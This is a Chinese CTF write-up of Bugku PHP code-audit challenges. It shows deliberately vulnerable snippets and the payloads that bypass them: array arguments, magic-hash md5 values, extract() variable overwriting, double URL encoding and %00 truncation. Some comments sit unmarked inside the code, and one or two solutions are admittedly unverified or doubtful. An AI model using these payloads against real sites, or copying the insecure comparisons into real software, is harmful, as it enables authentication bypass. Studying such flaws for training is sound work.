Bugku-代码审计-writeup

extract变量覆盖


    $flag='xxx';
    extract($_GET);
    if(isset($shiyan)) {
        $content=trim(file_get_contents($flag));
        if($shiyan==$content) {
            echo'flag{xxx}';
        }
        else {
            echo'Oh.no';
        }
    }
?>

覆盖掉xxx,payload

?shiyan=&flag=

strcmp比较字符串


	$flag = "flag{xxxxx}";
	if (isset($_GET['a'])) {
		if (strcmp($_GET['a'], $flag) == 0)
			die('Flag: '.$flag);
		else
	print 'No';
	}
?>

strcmp函数处理的是字符串,当接受到了不符合的类型,会发生错误,而在5.3之前的php中,显示了报错的警告信息后,将return 0,于是传入数组即可,payload

?a[]=1

urldecode二次编码绕过


	if(eregi("hackerDJ",$_GET[id])) {
		echo("not allowed!");
		exit();
	}
	$_GET[id] = urldecode($_GET[id]);
	if($_GET[id] == "hackerDJ") {
		echo "Access granted!";
		echo "flag";
	}
?>

解法即如提名所说,payload

?id=%2568%2561%2563%256b%2565%2572%2544%254a

md5()函数


	error_reporting(0);
	$flag = 'flag{test}';
	if (isset($_GET['username']) and isset($_GET['password'])) {
		if ($_GET['username'] == $_GET['password'])
		print 'Your password can not be your username.';
		else if (md5($_GET['username']) === md5($_GET['password']))
				die('Flag: '.$flag);
			 else
				print 'Invalid password';
	}
?>

构造数组绕过,payload

?username[]=1&password[]=2

数组返回NULL绕过


	$flag = "flag";
	if (isset ($_GET['password'])) {
	if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
		echo 'You password must be alphanumeric';
	else if (strpos ($_GET['password'], '--') !== FALSE)
			 die('Flag: ' . $flag);
		 else
		 	 echo 'Invalid password';
}
?>

解法也是如题名所说了,payload

?password[]=1

弱类型整数大小比较绕过


	$temp = $_GET['password'];
	is_numeric($temp)?die("no numeric"):NULL;
	if($temp>1336){
		echo $flag;
	}
?>

弱类型比较、payload

?password=1337a

sha()函数比较绕过


$flag = "flag";
	if (isset($_GET['name']) and isset($_GET['password'])){
		var_dump($_GET['name']);
		echo "";
		var_dump($_GET['password']);
		var_dump(sha1($_GET['name']));
		var_dump(sha1($_GET['password']));
		if ($_GET['name'] == $_GET['password'])
			echo 'Your password can not be your name!';
		else if (sha1($_GET['name']) === sha1($_GET['password']))
				die('Flag: '.$flag);
		 	 else
				echo 'Invalid password.';
	}else
		echo 'Login first!';
?>

数组绕过,payload

?name[]=1&password[]=2

md5加密相等绕过


	$md51 = md5('QNKCDZO');
	$a = @$_GET['a'];
	$md52 = @md5($a);
	if(isset($a)){
		if ($a != 'QNKCDZO' && $md51 == $md52) {
		echo "flag{*}";
	} else {
		echo "false!!!";
	}}
	else{echo "please input a";}
?>

经典题目了,payload

?a=s878926199a

十六进制与数字比较


	error_reporting(0);
	function noother_says_correct($temp)
	{
		$flag = 'flag{test}';
		$one = ord('1');
		$nine = ord('9');
		$number = '3735929054';
		for ($i = 0; $i < strlen($number); $i++)
		{
			$digit = ord($temp{$i});
			if ( ($digit >= $one) && ($digit <= $nine) )
			这里是不能存在1-9之间的数字
			{
				return "flase";
			}
		}
		if($number == $temp)
		而这里又要相等,矛盾了,因此构造16进制进行绕过,php在判断相等时会自己进行转换
			return $flag;
	}
	$temp = $_GET['password'];
	echo noother_says_correct($temp);
?>

payload

?password=0xdeadc0de

ereg正则%00截断


	$flag = "xxx";
	if (isset ($_GET['password']))
	{
		if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
			echo 'You password must be alphanumeric';
		else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
				if (strpos ($_GET['password'], '-') !== FALSE) //strpos — 查找字符串首次出现的位置
					die('Flag: ' . $flag);
				else
					echo('- have not been found');
			 else
				echo 'Invalid password';
	}
}
?>

strlen($_GET['password']) < 8 && $_GET['password'] > 9999999这个可以通过构造1e8进行绕过,而正则可以通过数组绕过或者%00截断,所以有两种解法,但是这样构造payload的时候题目没有显示flag

搞不懂为什么有个*-*,但理论上应该没问题,后面再看看是什么原因
第二种就是这样的了

strpos数组绕过


	$flag = "flag";
	if (isset ($_GET['ctf'])) {
		if (@ereg ("^[1-9]+$", $_GET['ctf']) === FALSE)
			echo '必须输入数字才行';
		else if (strpos ($_GET['ctf'], '#biubiubiu') !== FALSE)
				 die('Flag: '.$flag);
			 else
				 echo '骚年,继续努力吧啊~';
}
?>

解题思路也即如题名所说,payload

?ctf[]=#biubiubiu

数字验证正则绕过


	error_reporting(0);
	$flag = 'flag{test}';
	if ("POST" == $_SERVER['REQUEST_METHOD'])
	{
		$password = $_POST['password'];
		if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))
		正则:输入的内容必须为12个以上,不包括空格和tab键
		{
			echo 'flag';
			exit;
		}
		while (TRUE)
		{
			$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
			[[:punct:]] 任何标点符号 [[:digit:]] 任何数字 [[:upper:]] 任何大写字母 [[:lower:]] 任何小写字母
			if (6 > preg_match_all($reg, $password, $arr))
				break;
			$c = 0;
			$ps = array('punct', 'digit', 'upper', 'lower'); 
			foreach ($ps as $pt)
			{
				if (preg_match("/[[:$pt:]]+/", $password))
				$c += 1;
			}
			if ($c < 3) break;
			//>=3,必须包含四种类型三种与三种以上
			if ("42" == $password) echo $flag;
			else echo 'Wrong password';
			exit;
		}
	}
?>

绕过第一个if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))即可,即发送password的长度为12个以下,即可绕过
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